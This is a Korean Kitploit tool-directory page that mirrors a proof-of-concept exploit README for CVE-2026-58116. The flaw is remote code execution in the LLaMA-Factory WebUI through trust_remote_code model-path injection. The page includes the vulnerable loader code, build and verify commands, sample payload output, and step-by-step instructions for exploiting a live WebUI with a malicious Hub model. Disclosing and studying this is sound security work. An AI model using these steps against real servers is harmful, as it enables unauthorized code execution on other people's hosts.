Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/hunt-benito/llama-factory-webui-rce-cve-2026-58116-trust-remote-code-model-path-injection
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationCTFPapers & ResearchLearning & EducationPayload Development
GitHub
hunt-benito/llama-factory-webui-rce-cve-2026-58116-trust-remote-code-model-path-injection

llama-factory-webui-rce-cve-2026-58116-trust-remote-code-model-path-injection

CVE-2026-58116에 대한 개념 증명 익스플로잇으로, trust_remote_code 모델 경로 주입을 통해 LLaMA-Factory WebUI에서 원격 코드 실행을 시연합니다. 승인된 보안 테스트를 위한 페이로드 모델 및 검증 스크립트를 포함합니다.

저장소 보기
22개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-58116 — LLaMA-Factory WebUI RCE (trust_remote_code를 통한)

CVE-2026-58116 (CVSS 9.8 심각)에 대한 개념 증명: LLaMA-Factory <= v0.9.5에서의 원격 코드 실행.

LLaMA-Factory WebUI는 모델 로드 시 trust_remote_code=True를 하드코딩합니다 (src/llamafactory/webui/chatter.py:139 및 runner.py:175,320). 공격자가 제어하는 "Model path" 필드는 검증되지 않은 상태로 AutoTokenizer.from_pretrained() / AutoModel.from_pretrained()로 전달되어, Hugging Face transformers 라이브러리가 악성 모델 저장소에서 임의의 Python 코드를 다운로드 및 실행하게 됩니다.

⚠️ 교육용으로만 사용

이 PoC는 승인된 보안 테스트 및 교육용으로만 제공됩니다. 포함된 페이로드는 의도적으로 무해하며 (id를 통해 호스트 정보를 출력합니다). 소유하거나 테스트 권한이 있는 시스템에서만 실행하십시오. 명시적 허가 없이 악성 페이로드를 인프라에 배포하지 마십시오.

내용

root@kitploit:~
.
├── poc-model/
│   ├── config.json          # declares auto_map → attacker modules
│   ├── configuration_poc.py # payload: runs os.system("id ...") at config load
│   ├── modeling_poc.py      # minimal stub model class
│   └── __init__.py          # makes it an importable package
└── build_and_verify.py      # assemble + verify the sink in isolation

취약점 작동 방식

transformers는 가중치를 로드하기 전에 설정 클래스를 인스턴스화하므로, PoCConfig.__init__의 페이로드는 설정이 읽히는 즉시 실행됩니다 — 가중치가 존재할 필요가 없습니다. 이것이 정확히 LLaMA-Factory가 src/llamafactory/model/loader.py를 통해 접근하는 경로입니다:

root@kitploit:~
def _get_init_kwargs(model_args):
    return {"trust_remote_code": model_args.trust_remote_code, ...}   # True (hardcoded)

def load_tokenizer(model_args):
    init_kwargs = _get_init_kwargs(model_args)
    tokenizer = AutoTokenizer.from_pretrained(model_args.model_name_or_path, **init_kwargs)

빠른 시작

로컬에서 취약점 확인 (WebUI 필요 없음 — WebUI가 위반하는 계약을 증명함):

root@kitploit:~
pip install transformers torch
python3 build_and_verify.py

예상 출력 — 페이로드 배너가 설정 로드 중에 나타나는 것에 주목하세요:

root@kitploit:~
[+] PoC model assembled at .../poc-model
[*] Loading config with trust_remote_code=True (this triggers the PoC)...
============================================================
[CVE-2026-58116 PoC] trust_remote_code payload executed!
  time      : 2026-07-02T...
  host      : gpu-host-01
  user      : hbuser
------------------------------------------------------------
uid=1000(hbuser) gid=1000(hbuser) groups=1000(hbuser)
============================================================
[+] Config loaded: PoCConfig (model_type=poc_model)

실행 중인 LLaMA-Factory WebUI를 통한 종단 간 테스트:

  1. PoC 모델을 Hub에 업로드:
    root@kitploit:~
    huggingface-cli login
    python3 build_and_verify.py --upload your-user/llmfcty-poc
    
  2. 영향을 받는 LLaMA-Factory 보드 실행: llamafactory-cli webui
  3. 채팅 탭을 열고 Model path를 your-user/llmfcty-poc로 설정한 후 Load Model을 클릭.
  4. 페이로드가 LLaMA-Factory 프로세스로 서버에서 실행됩니다.

참고 자료

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-58116
  • VulnCheck 권고: https://www.vulncheck.com/advisories/llama-factory-remote-code-execution-via-webui-model-path
  • 원본 공개 (h3nrrrych4u): https://gist.github.com/henrrrychau/08d76ec672f42136bbc1449c4f2973f8
도구 다운로드